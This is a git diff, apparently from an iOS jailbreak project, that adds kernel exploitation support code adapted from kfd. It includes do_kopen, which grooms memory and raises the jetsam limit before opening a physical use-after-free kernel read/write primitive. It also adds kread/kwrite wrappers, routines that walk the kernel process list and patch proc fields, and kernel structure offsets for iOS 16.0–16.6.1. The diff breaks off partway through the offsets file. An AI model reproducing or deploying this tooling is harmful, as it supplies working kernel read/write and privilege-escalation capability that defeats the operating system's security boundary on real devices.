diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.c b/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.c
new file mode 100644
index 00000000..e463e40a
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.c
@@ -0,0 +1,103 @@
+//
+// proc.c
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#include "../proc.h"
+#include "../offsets.h"
+#include "../krw.h"
+#include
+#include
+#include
+
+uint64_t getProc(pid_t pid) {
+ uint64_t proc = get_kernproc();
+
+ while (true) {
+ if(kread32(proc + off_p_pid) == pid) {
+ return proc;
+ }
+ proc = kread64(proc + off_p_list_le_prev);
+ if(!proc) {
+ return -1;
+ }
+ }
+
+ return 0;
+}
+
+uint64_t getProcByName(char* nm) {
+ uint64_t proc = get_kernproc();
+
+ while (true) {
+ uint64_t nameptr = proc + off_p_name;
+ char name[32];
+ do_kread(nameptr, &name, 32);
+// printf("[i] pid: %d, process name: %s\n", kread32(proc + off_p_pid), name);
+ if(strcmp(name, nm) == 0) {
+ return proc;
+ }
+ proc = kread64(proc + off_p_list_le_prev);
+ if(!proc) {
+ return -1;
+ }
+ }
+
+ return 0;
+}
+
+int getPidByName(char* nm) {
+ uint64_t proc = getProcByName(nm);
+ if(proc == -1) return -1;
+ return kread32(proc + off_p_pid);
+}
+
+int funProc(uint64_t proc) {
+ int p_ppid = kread32(proc + off_p_ppid);
+ printf("[i] self proc->p_ppid: %d\n", p_ppid);
+ printf("[i] Patching proc->p_ppid %d -> 1 (for testing kwrite32, getppid)\n", p_ppid);
+ kwrite32(proc + off_p_ppid, 0x1);
+ printf("[+] Patched getppid(): %u\n", getppid());
+ kwrite32(proc + off_p_ppid, p_ppid);
+ printf("[+] Restored getppid(): %u\n", getppid());
+
+ int p_original_ppid = kread32(proc + off_p_original_ppid);
+ printf("[i] self proc->p_original_ppid: %d\n", p_original_ppid);
+
+ int p_pgrpid = kread32(proc + off_p_pgrpid);
+ printf("[i] self proc->p_pgrpid: %d\n", p_pgrpid);
+
+ int p_uid = kread32(proc + off_p_uid);
+ printf("[i] self proc->p_uid: %d\n", p_uid);
+
+ int p_gid = kread32(proc + off_p_gid);
+ printf("[i] self proc->p_gid: %d\n", p_gid);
+
+ int p_ruid = kread32(proc + off_p_ruid);
+ printf("[i] self proc->p_ruid: %d\n", p_ruid);
+
+ int p_rgid = kread32(proc + off_p_rgid);
+ printf("[i] self proc->p_rgid: %d\n", p_rgid);
+
+ int p_svuid = kread32(proc + off_p_svuid);
+ printf("[i] self proc->p_svuid: %d\n", p_svuid);
+
+ int p_svgid = kread32(proc + off_p_svgid);
+ printf("[i] self proc->p_svgid: %d\n", p_svgid);
+
+ int p_sessionid = kread32(proc + off_p_sessionid);
+ printf("[i] self proc->p_sessionid: %d\n", p_sessionid);
+
+ uint64_t p_puniqueid = kread64(proc + off_p_puniqueid);
+ printf("[i] self proc->p_puniqueid: 0x%llx\n", p_puniqueid);
+
+ printf("[i] Patching proc->p_puniqueid 0x%llx -> 0x4142434445464748 (for testing kwrite64)\n", p_puniqueid);
+ kwrite64(proc + off_p_puniqueid, 0x4142434445464748);
+ printf("[+] Patched self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid));
+ kwrite64(proc + off_p_puniqueid, p_puniqueid);
+ printf("[+] Restored self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid));
+
+ return 0;
+}
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.h b/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.h
new file mode 100644
index 00000000..0be6af1d
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.h
@@ -0,0 +1,14 @@
+//
+// proc.h
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#include
+
+uint64_t getProc(pid_t pid);
+uint64_t getProcByName(char* nm);
+int getPidByName(char* nm);
+
+int funProc(uint64_t proc);
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/krw.h b/RootHelperSample/launchdshim/launchdhook/fun/krw.h
new file mode 100644
index 00000000..3eb34065
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/krw.h
@@ -0,0 +1,44 @@
+//
+// krw.h
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#ifndef krw_h
+#define krw_h
+
+#include
+#include
+#include
+
+uint64_t unsign_kptr(uint64_t pac_kaddr);
+uint64_t kUNSIGN_PTR(uint64_t pac_kaddr);
+__attribute__ ((optnone)) uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method, size_t headroom, bool use_headroom);
+void do_kclose(void);
+void early_kread(uint64_t kfd, uint64_t kaddr, void* uaddr, uint64_t size);
+void early_kreadbuf(uint64_t kfd, uint64_t kaddr, void* output, size_t size);
+void do_kread(uint64_t kaddr, void* uaddr, uint64_t size);
+void do_kwrite(void* uaddr, uint64_t kaddr, uint64_t size);
+uint64_t get_kslide(void);
+uint64_t get_kernproc(void);
+uint64_t get_selftask(void);
+uint64_t get_selfpmap(void);
+uint64_t get_kerntask(void);
+uint8_t kread8(uint64_t where);
+uint32_t kread16(uint64_t where);
+uint32_t kread32(uint64_t where);
+uint64_t kread64(uint64_t where);
+uint64_t kread64_smr(uint64_t where);
+uint64_t kread_smrptr(uint64_t where);
+void kwrite8(uint64_t where, uint8_t what);
+void kwrite16(uint64_t where, uint16_t what);
+void kwrite32(uint64_t where, uint32_t what);
+void kwrite64(uint64_t where, uint64_t what);
+uint64_t do_vtophys(uint64_t what);
+uint64_t do_phystokv(uint64_t what);
+uint64_t kread64_ptr(uint64_t kaddr);
+uint64_t kread_ptr(uint64_t va);
+int kreadbuf(uint64_t kaddr, void* output, size_t size);
+int kwritebuf(uint64_t where, const void *buf, size_t size);
+#endif /* krw_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/krw.m b/RootHelperSample/launchdshim/launchdhook/fun/krw.m
new file mode 100644
index 00000000..f7a3d50e
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/krw.m
@@ -0,0 +1,343 @@
+//
+// krw.c
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#include "krw.h"
+#include "offsets.h"
+#include "libkfd.h"
+//#include "mdc/helpers.h"
+#include "memoryControl.h"
+#include "kpf/patchfinder.h"
+#include "../jbserver/info.h"
+#include "../jbserver/primitives_external.h"
+#include
+
+
+uint64_t _kfd = 0;
+uint64_t unsign_kptr(uint64_t pac_kaddr) {
+ if ((pac_kaddr & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) {
+ return pac_kaddr;
+ }
+ if(T1SZ_BOOT != 0) {
+ return pac_kaddr |= ~((1ULL << (64U - T1SZ_BOOT)) - 1U);
+ }
+ return pac_kaddr;
+}
+
+uint64_t kUNSIGN_PTR(uint64_t pac_kaddr) {
+ if ((pac_kaddr & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) {
+ return pac_kaddr;
+ }
+ if(T1SZ_BOOT != 0) {
+ return pac_kaddr |= ~((1ULL << (64U - T1SZ_BOOT)) - 1U);
+ }
+ return pac_kaddr;
+}
+
+__attribute__ ((optnone)) uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method, size_t headroom, bool use_headroom)
+{
+ if (use_headroom) {
+ size_t STATIC_HEADROOM = (headroom * (size_t)1024 * (size_t)1024);
+ uint64_t* memory_hog = NULL;
+ size_t pagesize = sysconf(_SC_PAGESIZE);
+ size_t memory_avail = os_proc_available_memory();
+ size_t hog_headroom = STATIC_HEADROOM + puaf_pages * pagesize;
+ size_t memory_to_hog = memory_avail > hog_headroom ? memory_avail - hog_headroom: 0;
+ int32_t old_memory_limit = 0;
+ memorystatus_memlimit_properties2_t mmprops;
+ // print_usize(memory_avail);
+ // print_usize(hog_headroom);
+ // print_usize(hog_headroom);
+ // print_usize(memory_to_hog);
+ // print_usize(memory_to_hog);
+ if (hasEntitlement(CFSTR("com.apple.private.memorystatus"))) {
+ uint32_t new_memory_limit = (uint32_t)(getPhysicalMemorySize() / UINT64_C(1048576)) * 2;
+ int ret = memorystatus_control(MEMORYSTATUS_CMD_GET_MEMLIMIT_PROPERTIES, getpid(), 0, &mmprops, sizeof(mmprops));
+ if (ret == 0) {
+ print_i32(mmprops.v1.memlimit_active);
+ old_memory_limit = mmprops.v1.memlimit_active;
+ ret = memorystatus_control(MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT, getpid(), new_memory_limit, NULL, 0);
+ if (ret == 0) {
+ print_success("The memory limit for pid %d has been set to %u MiB successfully", getpid(), new_memory_limit);
+ } else {
+ print_warning("Failed to set memory limit: %d (%s)", errno, strerror(errno));
+ }
+ } else {
+ print_warning("could not get current memory limits");
+ }
+ }
+ if (memory_avail > hog_headroom) {
+ memory_hog = malloc(memory_to_hog);
+ if (memory_hog != NULL) {
+ for (uint64_t i = 0; i < memory_to_hog / sizeof(uint64_t); i++) {
+ memory_hog[i] = 0x4141414141414141;
+ }
+ }
+ print_message("Filled up hogged memory with A's");
+ } else {
+ print_message("Did not hog memory because there is too little free memory");
+ }
+ print_message("Performing kopen");
+ _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method);
+
+ if (memory_hog) free(memory_hog);
+ if (old_memory_limit) {
+ // set the limit back because it affects os_proc_available_memory
+ int ret = memorystatus_control(MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT, getpid(), old_memory_limit, NULL, 0);
+ if (ret == 0) {
+ print_success("[memoryHogger] The memory limit for pid %d has been set to %u MiB successfully", getpid(), old_memory_limit);
+ } else {
+ print_warning("[memoryHogger] Failed to set memory limit: %d (%s)", errno, strerror(errno));
+ }
+ }
+ } else {
+ _kfd = kopen(puaf_pages, puaf_method, kread_method, kwrite_method);
+ }
+
+
+ _offsets_init();
+ // set gsystemInfo
+ gSystemInfo.kernelConstant.slide = ((struct kfd *)_kfd)->perf.kernel_slide;
+ // gPrimitives.kreadbuf = kreadbuf;
+ // gPrimitives.kwritebuf = kwritebuf;
+ return _kfd;
+}
+
+void do_kclose(void)
+{
+ kclose((u64)(_kfd));
+}
+
+void early_kread(uint64_t kfd, u64 kaddr, void* uaddr, u64 size)
+{
+ kread((u64)(kfd), kaddr, uaddr, size);
+}
+
+uint64_t early_kread64(uint64_t kfd, uint64_t where) {
+ uint64_t out;
+ kread((u64)(kfd), where, &out, sizeof(uint64_t));
+ return out;
+}
+
+uint32_t early_kread32(uint64_t kfd, uint64_t where) {
+ return early_kread64(kfd, where) & 0xffffffff;
+}
+
+void early_kreadbuf(uint64_t kfd, uint64_t kaddr, void* output, size_t size)
+{
+ uint64_t endAddr = kaddr + size;
+ uint32_t outputOffset = 0;
+ unsigned char* outputBytes = (unsigned char*)output;
+
+ for(uint64_t curAddr = kaddr; curAddr < endAddr; curAddr += 4)
+ {
+ uint32_t k = early_kread32(kfd, curAddr);
+
+ unsigned char* kb = (unsigned char*)&k;
+ for(int i = 0; i < 4; i++)
+ {
+ if(outputOffset == size) break;
+ outputBytes[outputOffset] = kb[i];
+ outputOffset++;
+ }
+ if(outputOffset == size) break;
+ }
+}
+
+
+void do_kread(u64 kaddr, void* uaddr, u64 size)
+{
+ kread(_kfd, kaddr, uaddr, size);
+}
+
+void do_kwrite(void* uaddr, u64 kaddr, u64 size)
+{
+ kwrite(_kfd, uaddr, kaddr, size);
+}
+
+uint64_t get_kslide(void) {
+ return ((struct kfd*)_kfd)->perf.kernel_slide;
+}
+
+uint64_t get_kernproc(void) {
+ return ((struct kfd*)_kfd)->info.kaddr.kernel_proc;
+}
+
+uint64_t get_selftask(void) {
+ return ((struct kfd*)_kfd)->info.kaddr.current_task;
+}
+
+uint64_t get_selfpmap(void) {
+ return ((struct kfd*)_kfd)->info.kaddr.current_pmap;
+}
+
+uint64_t get_kerntask(void) {
+ return ((struct kfd*)_kfd)->info.kaddr.kernel_task;
+}
+
+
+uint8_t kread8(uint64_t where) {
+ uint8_t out;
+ kread(_kfd, where, &out, sizeof(uint8_t));
+ return out;
+}
+uint32_t kread16(uint64_t where) {
+ uint16_t out;
+ kread(_kfd, where, &out, sizeof(uint16_t));
+ return out;
+}
+uint32_t kread32(uint64_t where) {
+ uint32_t out;
+ kread(_kfd, where, &out, sizeof(uint32_t));
+ return out;
+}
+uint64_t kread64(uint64_t where) {
+ uint64_t out;
+ kread(_kfd, where, &out, sizeof(uint64_t));
+ return out;
+}
+
+//Thanks @jmpews
+uint64_t kread64_smr(uint64_t where) {
+ uint64_t value = unsign_kptr(kread64(where));
+ if((value & 0x400000000000) != 0)
+ value &= 0xFFFFFFFFFFFFFFE0;
+ return value;
+}
+
+uint64_t kread_smrptr(uint64_t where) {
+ uint64_t value = unsign_kptr(kread64(where));
+ if((value & 0x400000000000) != 0)
+ value &= 0xFFFFFFFFFFFFFFE0;
+ return value;
+}
+
+
+// uint64_t kread_smrptr(uint64_t va)
+// {
+// uint64_t value = kread_ptr(va);
+
+// uint64_t bits = (kconstant(smrBase) << (62-kconstant(T1SZ_BOOT)));
+
+// uint64_t case1 = 0xFFFFFFFFFFFFC000 & ~bits;
+// uint64_t case2 = 0xFFFFFFFFFFFFFFE0 & ~bits;
+
+// if ((value & bits) == 0) {
+// if (value) {
+// value = (value & case1) | bits;
+// }
+// }
+// else {
+// value = (value & case2) | bits;
+// }
+
+// return value;
+// }
+
+void kwrite8(uint64_t where, uint8_t what) {
+ uint8_t _buf[8] = {};
+ _buf[0] = what;
+ _buf[1] = kread8(where+1);
+ _buf[2] = kread8(where+2);
+ _buf[3] = kread8(where+3);
+ _buf[4] = kread8(where+4);
+ _buf[5] = kread8(where+5);
+ _buf[6] = kread8(where+6);
+ _buf[7] = kread8(where+7);
+ kwrite((u64)(_kfd), &_buf, where, sizeof(u64));
+}
+
+void kwrite16(uint64_t where, uint16_t what) {
+ u16 _buf[4] = {};
+ _buf[0] = what;
+ _buf[1] = kread16(where+2);
+ _buf[2] = kread16(where+4);
+ _buf[3] = kread16(where+6);
+ kwrite((u64)(_kfd), &_buf, where, sizeof(u64));
+}
+
+void kwrite32(uint64_t where, uint32_t what) {
+ u32 _buf[2] = {};
+ _buf[0] = what;
+ _buf[1] = kread32(where+4);
+ kwrite((u64)(_kfd), &_buf, where, sizeof(u64));
+}
+void kwrite64(uint64_t where, uint64_t what) {
+ u64 _buf[1] = {};
+ _buf[0] = what;
+ kwrite((u64)(_kfd), &_buf, where, sizeof(u64));
+}
+
+uint64_t do_vtophys(uint64_t what) {
+ return vtophys((struct kfd*)(_kfd), what);
+}
+
+uint64_t do_phystokv(uint64_t what) {
+ return phystokv((struct kfd*)(_kfd), what);
+}
+
+uint64_t kread64_ptr(uint64_t kaddr) {
+ uint64_t ptr = kread64(kaddr);
+ if ((ptr >> 55) & 1) {
+ return unsign_kptr(ptr);
+ }
+
+ return ptr;
+}
+
+uint64_t kread_ptr(uint64_t va)
+{
+ return unsign_kptr(kread64(va));
+}
+
+int kreadbuf(uint64_t kaddr, void* output, size_t size)
+{
+ uint64_t endAddr = kaddr + size;
+ uint32_t outputOffset = 0;
+ unsigned char* outputBytes = (unsigned char*)output;
+
+ for(uint64_t curAddr = kaddr; curAddr < endAddr; curAddr += 4)
+ {
+ uint32_t k = kread32(curAddr);
+
+ unsigned char* kb = (unsigned char*)&k;
+ for(int i = 0; i < 4; i++)
+ {
+ if(outputOffset == size) break;
+ outputBytes[outputOffset] = kb[i];
+ outputOffset++;
+ }
+ if(outputOffset == size) break;
+ }
+ return 0;
+}
+
+int kwritebuf(uint64_t where, const void *buf, size_t size)
+{
+ if (size == 1) {
+ kwrite8(where, *(uint8_t*)buf);
+ }
+ else if (size == 2) {
+ kwrite16(where, *(uint16_t*)buf);
+ }
+ else if (size == 4) {
+ kwrite32(where, *(uint32_t*)buf);
+ }
+ else {
+ if (size >= UINT16_MAX) {
+ for (uint64_t start = 0; start < size; start += UINT16_MAX) {
+ uint64_t sizeToUse = UINT16_MAX;
+ if (start + sizeToUse > size) {
+ sizeToUse = (size - start);
+ }
+ kwrite((u64)(_kfd), (void*)((uint8_t *)buf)+start, where+start, sizeToUse);
+ }
+ } else {
+ kwrite((u64)(_kfd), (void*)buf, where, size);
+ }
+ }
+ return 0;
+}
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.h b/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.h
new file mode 100644
index 00000000..fc844144
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.h
@@ -0,0 +1,40 @@
+//
+// memoryControl.h
+// PureKFD
+//
+// Created by Nick Chan on 10/12/2023.
+//
+
+#ifndef memoryControl_h
+#define memoryControl_h
+
+#include
+#include
+#include
+#include
+#include
+#define MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT 6
+#define MEMORYSTATUS_CMD_GET_MEMLIMIT_PROPERTIES 8
+
+typedef struct CF_BRIDGED_TYPE(id) __SecTask *SecTaskRef;
+_Nullable SecTaskRef SecTaskCreateFromSelf(CFAllocatorRef _Nullable allocator);
+_Nullable CFTypeRef SecTaskCopyValueForEntitlement(SecTaskRef _Nonnull task, CFStringRef _Nonnull entitlement, CFErrorRef _Nullable * _Nullable error);
+
+bool hasEntitlement(CFStringRef _Nonnull entitlement);
+int memorystatus_control(uint32_t command, int32_t pid, uint32_t flags, void * _Nullable buffer, size_t buffersize);
+uint64_t getPhysicalMemorySize(void);
+
+typedef struct memorystatus_memlimit_properties {
+ int32_t memlimit_active; /* jetsam memory limit (in MB) when process is active */
+ uint32_t memlimit_active_attr;
+ int32_t memlimit_inactive; /* jetsam memory limit (in MB) when process is inactive */
+ uint32_t memlimit_inactive_attr;
+} memorystatus_memlimit_properties_t;
+
+typedef struct memorystatus_memlimit_properties2 {
+ memorystatus_memlimit_properties_t v1;
+ uint32_t memlimit_increase; /* jetsam memory limit increase (in MB) for active and inactive states */
+ uint32_t memlimit_increase_bytes; /* bytes used to determine the jetsam memory limit increase, for active and inactive states */
+} memorystatus_memlimit_properties2_t;
+
+#endif /* memoryControl_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.m b/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.m
new file mode 100644
index 00000000..507f3f36
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/memoryControl.m
@@ -0,0 +1,23 @@
+//
+// memoryControl.m
+// PureKFD
+//
+// Created by Nick Chan on 10/12/2023.
+//
+
+#import
+#include "memoryControl.h"
+
+bool hasEntitlement(CFStringRef entitlement) {
+ SecTaskRef task = SecTaskCreateFromSelf(NULL);
+ CFTypeRef value = SecTaskCopyValueForEntitlement(task, entitlement, NULL);
+ if (value != nil) {
+ CFRelease(value);
+ }
+ CFRelease(task);
+ return (value != NULL);
+}
+
+uint64_t getPhysicalMemorySize(void) {
+ return NSProcessInfo.processInfo.physicalMemory;
+}
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/offsets.h b/RootHelperSample/launchdshim/launchdhook/fun/offsets.h
new file mode 100644
index 00000000..1c987d9f
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/offsets.h
@@ -0,0 +1,104 @@
+//
+// offsets.h
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#include
+
+extern uint32_t off_p_list_le_prev;
+extern uint32_t off_p_proc_ro;
+extern uint32_t off_p_ppid;
+extern uint32_t off_p_original_ppid;
+extern uint32_t off_p_pgrpid;
+extern uint32_t off_p_uid;
+extern uint32_t off_p_gid;
+extern uint32_t off_p_ruid;
+extern uint32_t off_p_rgid;
+extern uint32_t off_p_svuid;
+extern uint32_t off_p_svgid;
+extern uint32_t off_p_sessionid;
+extern uint32_t off_p_puniqueid;
+extern uint32_t off_p_pid;
+extern uint32_t off_p_pfd;
+extern uint32_t off_p_textvp;
+extern uint32_t off_p_name;
+extern uint32_t off_p_ro_p_csflags;
+extern uint32_t off_p_ro_p_ucred;
+extern uint32_t off_p_ro_pr_proc;
+extern uint32_t off_p_ro_pr_task;
+extern uint32_t off_p_ro_t_flags_ro;
+extern uint32_t off_u_cr_label;
+extern uint32_t off_u_cr_posix;
+extern uint32_t off_cr_uid;
+extern uint32_t off_cr_ruid;
+extern uint32_t off_cr_svuid;
+extern uint32_t off_cr_ngroups;
+extern uint32_t off_cr_groups;
+extern uint32_t off_cr_rgid;
+extern uint32_t off_cr_svgid;
+extern uint32_t off_cr_gmuid;
+extern uint32_t off_cr_flags;
+extern uint32_t off_task_t_flags;
+extern uint32_t off_task_itk_space;
+extern uint32_t off_fd_ofiles;
+extern uint32_t off_fd_cdir;
+extern uint32_t off_fp_glob;
+extern uint32_t off_fg_data;
+extern uint32_t off_fg_flag;
+extern uint32_t off_vnode_v_ncchildren_tqh_first;
+extern uint32_t off_vnode_v_ncchildren_tqh_last;
+extern uint32_t off_vnode_v_nclinks_lh_first;
+extern uint32_t off_vnode_v_iocount;
+extern uint32_t off_vnode_v_usecount;
+extern uint32_t off_vnode_v_flag;
+extern uint32_t off_vnode_v_name;
+extern uint32_t off_vnode_v_mount;
+extern uint32_t off_vnode_v_data;
+extern uint32_t off_vnode_v_kusecount;
+extern uint32_t off_vnode_v_references;
+extern uint32_t off_vnode_v_lflag;
+extern uint32_t off_vnode_v_owner;
+extern uint32_t off_vnode_v_parent;
+extern uint32_t off_vnode_v_label;
+extern uint32_t off_vnode_v_cred;
+extern uint32_t off_vnode_v_writecount;
+extern uint32_t off_vnode_v_type;
+extern uint32_t off_vnode_v_id;
+extern uint32_t off_vnode_vu_ubcinfo;
+extern uint32_t off_mount_mnt_data;
+extern uint32_t off_mount_mnt_fsowner;
+extern uint32_t off_mount_mnt_fsgroup;
+extern uint32_t off_mount_mnt_devvp;
+extern uint32_t off_mount_mnt_flag;
+extern uint32_t off_specinfo_si_flags;
+extern uint32_t off_namecache_nc_dvp;
+extern uint32_t off_namecache_nc_vp;
+extern uint32_t off_namecache_nc_hashval;
+extern uint32_t off_namecache_nc_name;
+extern uint32_t off_namecache_nc_child_tqe_prev;
+extern uint32_t off_ipc_space_is_table;
+extern uint32_t off_ubc_info_cs_blobs;
+extern uint32_t off_ubc_info_cs_add_gen;
+extern uint32_t off_cs_blob_csb_pmap_cs_entry;
+extern uint32_t off_cs_blob_csb_cdhash;
+extern uint32_t off_cs_blob_csb_flags;
+extern uint32_t off_cs_blob_csb_teamid;
+extern uint32_t off_cs_blob_csb_validation_category;
+extern uint32_t off_pmap_cs_code_directory_ce_ctx;
+extern uint32_t off_pmap_cs_code_directory_der_entitlements_size;
+extern uint32_t off_pmap_cs_code_directory_trust;
+extern uint32_t off_ipc_entry_ie_object;
+extern uint32_t off_ipc_object_io_bits;
+extern uint32_t off_ipc_object_io_references;
+extern uint32_t off_ipc_port_ip_kobject;
+
+extern uint32_t v_holdcount;
+
+extern uint64_t off_gphysbase;
+extern uint64_t off_gphysize;
+extern uint64_t off_gvirtbase;
+extern uint64_t off_ptov__table;
+extern uint32_t v_holdcount;
+void _offsets_init(void);
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/offsets.m b/RootHelperSample/launchdshim/launchdhook/fun/offsets.m
new file mode 100644
index 00000000..8b551b0a
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/offsets.m
@@ -0,0 +1,326 @@
+//
+// offsets.c
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#include "offsets.h"
+#include
+#include
+
+uint32_t off_p_list_le_prev = 0;
+uint32_t off_p_proc_ro = 0;
+uint32_t off_p_ppid = 0;
+uint32_t off_p_original_ppid = 0;
+uint32_t off_p_pgrpid = 0;
+uint32_t off_p_uid = 0;
+uint32_t off_p_gid = 0;
+uint32_t off_p_ruid = 0;
+uint32_t off_p_rgid = 0;
+uint32_t off_p_svuid = 0;
+uint32_t off_p_svgid = 0;
+uint32_t off_p_sessionid = 0;
+uint32_t off_p_puniqueid = 0;
+uint32_t off_p_pid = 0;
+uint32_t off_p_pfd = 0;
+uint32_t off_p_textvp = 0;
+uint32_t off_p_name = 0;
+uint32_t off_p_ro_p_csflags = 0;
+uint32_t off_p_ro_p_ucred = 0;
+uint32_t off_p_ro_pr_proc = 0;
+uint32_t off_p_ro_pr_task = 0;
+uint32_t off_p_ro_t_flags_ro = 0;
+uint32_t off_u_cr_label = 0;
+uint32_t off_u_cr_posix = 0;
+uint32_t off_cr_uid = 0;
+uint32_t off_cr_ruid = 0;
+uint32_t off_cr_svuid = 0;
+uint32_t off_cr_ngroups = 0;
+uint32_t off_cr_groups = 0;
+uint32_t off_cr_rgid = 0;
+uint32_t off_cr_svgid = 0;
+uint32_t off_cr_gmuid = 0;
+uint32_t off_cr_flags = 0;
+uint32_t off_task_t_flags = 0;
+uint32_t off_task_itk_space = 0;
+uint32_t off_fd_ofiles = 0;
+uint32_t off_fd_cdir = 0;
+uint32_t off_fp_glob = 0;
+uint32_t off_fg_data = 0;
+uint32_t off_fg_flag = 0;
+uint32_t off_vnode_v_ncchildren_tqh_first = 0;
+uint32_t off_vnode_v_ncchildren_tqh_last = 0;
+uint32_t off_vnode_v_nclinks_lh_first = 0;
+uint32_t off_vnode_v_iocount = 0;
+uint32_t off_vnode_v_usecount = 0;
+uint32_t off_vnode_v_flag = 0;
+uint32_t off_vnode_v_name = 0;
+uint32_t off_vnode_v_mount = 0;
+uint32_t off_vnode_v_data = 0;
+uint32_t off_vnode_v_kusecount = 0;
+uint32_t off_vnode_v_references = 0;
+uint32_t off_vnode_v_lflag = 0;
+uint32_t off_vnode_v_owner = 0;
+uint32_t off_vnode_v_parent = 0;
+uint32_t off_vnode_v_label = 0;
+uint32_t off_vnode_v_cred = 0;
+uint32_t off_vnode_v_writecount = 0;
+uint32_t off_vnode_v_type = 0;
+uint32_t off_vnode_v_id = 0;
+uint32_t off_vnode_vu_ubcinfo = 0;
+uint32_t off_mount_mnt_data = 0;
+uint32_t off_mount_mnt_fsowner = 0;
+uint32_t off_mount_mnt_fsgroup = 0;
+uint32_t off_mount_mnt_devvp = 0;
+uint32_t off_mount_mnt_flag = 0;
+uint32_t off_specinfo_si_flags = 0;
+uint32_t off_namecache_nc_dvp = 0;
+uint32_t off_namecache_nc_vp = 0;
+uint32_t off_namecache_nc_hashval = 0;
+uint32_t off_namecache_nc_name = 0;
+uint32_t off_namecache_nc_child_tqe_prev = 0;
+uint32_t off_ipc_space_is_table = 0;
+uint32_t off_ubc_info_cs_blobs = 0;
+uint32_t off_ubc_info_cs_add_gen = 0;
+uint32_t off_cs_blob_csb_pmap_cs_entry = 0;
+uint32_t off_cs_blob_csb_cdhash = 0;
+uint32_t off_cs_blob_csb_flags = 0;
+uint32_t off_cs_blob_csb_teamid = 0;
+uint32_t off_cs_blob_csb_validation_category = 0;
+uint32_t off_pmap_cs_code_directory_ce_ctx = 0;
+uint32_t off_pmap_cs_code_directory_der_entitlements_size = 0;
+uint32_t off_pmap_cs_code_directory_trust = 0;
+uint32_t off_ipc_entry_ie_object = 0;
+uint32_t off_ipc_object_io_bits = 0;
+uint32_t off_ipc_object_io_references = 0;
+uint32_t off_ipc_port_ip_kobject = 0;
+
+uint64_t off_gphysbase = 0;
+uint64_t off_gphysize = 0;
+uint64_t off_gvirtbase = 0;
+uint64_t off_ptov__table = 0;
+uint32_t v_holdcount = 0xB4;
+
+#define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame)
+#define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending)
+#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending)
+#define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending)
+#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending)
+
+void _offsets_init(void) {
+ if (!(SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.0") && SYSTEM_VERSION_LESS_THAN(@"16.7"))) {
+ printf("[-] Only supported offset for iOS 16.0-16.6.1\n");
+ exit(EXIT_FAILURE);
+ }
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_ro.h#L59
+ //should be same 16.0~16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_p_ro_p_csflags = 0x1c;
+ off_p_ro_p_ucred = 0x20; //_proc_ucred
+ off_p_ro_pr_proc = 0;
+ off_p_ro_pr_task = 0x8;
+ off_p_ro_t_flags_ro = 0x78;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/kern/task.h#L280
+ //should be same 16.0~16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_task_itk_space = 0x300; //14p 16.1.2 _task_suspend FFFFFFF007DB43BC
+ off_task_t_flags = 0x3D0; //14p 16.1.2 _get_bsdtask_info FFFFFFF007DE4E60
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L91
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
